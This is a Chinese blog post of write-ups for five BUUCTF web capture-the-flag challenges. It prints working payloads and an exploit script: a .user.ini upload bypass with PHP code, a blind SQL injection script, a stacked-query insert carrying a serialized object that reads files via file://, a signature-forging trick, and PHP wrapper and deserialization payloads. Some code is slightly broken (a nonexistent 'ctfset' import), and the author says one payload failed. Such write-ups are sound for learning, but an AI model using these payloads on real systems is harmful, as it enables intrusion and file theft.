[BUU] 刷题合集0

[

区块链的内容先告一段落,好久没去 buu 刷题了。buu上有的题目太简单,单开写一篇文章不太合适,所以专门开了个合集简单记录一下。

[SUCTF 2019]CheckIn

文件上传,检测头用 GIF89 绕过,.htaccess 在有脏数据情况下不解析,用 .user.ini (不用重启 apache 也能生效)写入图片马并引用。payload:

// .user.ini
GIF89a
auto_prepend_file=a.png
auto_append_file=a.png

// 1.png
<script language="php">echo file_get_contents("/flag");</script>

[CISCN2019 华北赛区 Day2 Web1]Hack World

fuzz 了一下,符号基本都被 ban 了,但是 / 和 ^ 可以用,1 / 1 和 1 ^ 0 会返回正常结果,空格过滤可以用 %0a 之泪的绕过,上exp:

from requests import *
from string import ctfset
alpha = ctfset
s = session()
res = ""
u = "http://e100b868-2059-4f20-bdba-41f6a13b012c.node3.buuoj.cn/"
for x in range(50):
    for a in alpha:
        payload = "id=2/(if((ascii(substr((select\x0aflag\x0afrom\x0aflag),%d,1))=%d),1,2))" % (x, ord(a))
        data = { 'id' : payload }
        r = s.post(u, data)
        if 'glzjin' not in r.text:
            res = res + a
            print(a)
            break
    print(res)

[网鼎杯 2018]Fakebook

注册,登录之后 view.php 有注入,用上一题的脚本还能跑,注出来的信息:

# fakebook 数据库
# users 表
# no username passwd data USER CURRENT_CONNECTIONS 列

用户有个 data 很有意思,扫一下网页发现有源码泄漏,下载是个类的定义。

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

然后就到了这个题比较迷的地方了,类里虽然有检查 url 的函数,但是在反序列化时没有调用,给了我们用 file 协议读文件的机会。但是在注入点 union select 又被 ban 了,想到用 update 插入数据,再正常访问 view.php。(这个出题人丧心病狂,用 sha512 来哈希密码,512 位注的想死=-=)不知道是什么原因本地测试成功的 payload 无法执行,希望看到这篇博客的大佬们能指点一下,payload:

view.php?no=1;insert%20into%20users%20values(0,%27a%27,
%274dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a%27
,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22
;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27,%270%27,%270%27)%23

后来看了看 wp 发现可以用 /**/ 绕 union select,把 payload 换一下就行。

[De1CTF 2019]SSRF Me

题目说是 ssrf,实际上是代码审计。首先是看看拿 flag 的地方:

def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if (resp == "Connection Timeout"):
                result['data'] = resp
            else:
                print resp
                tmpfile.write(resp)
                tmpfile.close()
            result['code'] = 200
        if "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, 'r')
            result['code'] = 200
            result['data'] = f.read()
        if result['code'] == 500:
            result['data'] = "Action Error"
    else:
        result['code'] = 500
        result['msg'] = "Sign Error"
    return result

5 和 15 行用了 in 判断方法而没用 ==,其次判断分支没用用 if / elif 方式,而是全都用了 if,加上 in 这个点,很可能需要我们两块代码同时执行。于是找看看 action 能不能构造成类似 readscan 的形式。这个程序中所有的操作都需要签名验证,那再看看签名算法:

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

直接把三个参数拼接之后 md5,其中 action 不可控,似乎没法构造上述 payload。但是代码在哈希时没有分隔符,也就是说可以让 param 多写一个 read 伪造签名。访问 /geneSign?param=flag.txtread,得到签名 ecae660ac44181857e853e72d64ec34c,再访问 De1ta 按规则填数据即可。

[ZJCTF 2019]NiZhuanSiWei

伪协议的简单题,好像是浙江省赛的题目,怪不得大树哥哥要吐槽 23333,源码:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&amp;&amp;(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

data 协议绕第 5 行的 if,11 行 include 可以 filter 读 useless.php 源码:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

随便构造一下反序列化就行,别忘了最后触发反序列化要 include useless.php,payload:

http://8e6d2ab4-6a3d-4d0d-ae5f-cff26883b0fc.node3.buuoj.cn/?
text=data:text/plain,welcome%20to%20the%20zjctf&amp;password=O:4:%22Flag%22:1:
{s:4:%22file%22;s:8:%22flag.php%22;}&amp;file=useless.php

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.